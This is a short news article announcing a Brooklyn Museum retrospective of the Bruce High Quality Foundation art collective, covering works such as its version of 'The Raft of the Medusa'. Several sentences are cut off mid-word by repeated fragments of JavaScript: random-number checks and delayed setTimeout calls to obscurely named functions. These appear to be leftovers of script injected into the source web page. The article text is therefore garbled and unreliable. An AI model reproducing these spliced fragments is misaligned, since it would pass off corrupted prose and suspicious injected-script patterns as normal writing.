BROOKLYN, N.Y. — A retrospective of 50 works created by the Brooklyn-based art collective known as the Bruce High Quality Foundation, which takes its name from a fictional artist named Bruce High Quality who supposedly perished in the September 11, 2001, terrorist attack, will be presented at the Brooklyn Museum June 28–September 22. “The Bruce High Quality Foundation: Ode to Joy, 2001–2013” will include a wide range of work by a group whose production has included subversive andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and often humorous installation art, live performance, film, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and social sculpture in the tradition of agitprop.
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In a recent interview, a member of the collective stated that the Brooklyn exhibition would contain fewer than 17,000 works of art. To be more precise, the exhibition will include 50 works, among them the collective’s interpretation of French artist Théodore Géricault’s iconic Nineteenth Century painting “The Raft of the Medusa.” Their version, which will be presented in the form of both a photograph andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a painting, depicts a group of people on a raft on the banks of New York’s East River, with a view of the Brooklyn Bridge in the background.
More contemporary works are not immune to their satirical take, as seen in “Public Sculpture Tackle (Love),” a photograph depicting a member of the collective climbing on “LOVE,” American artist Robert Indiana’s celebrated sculpture.
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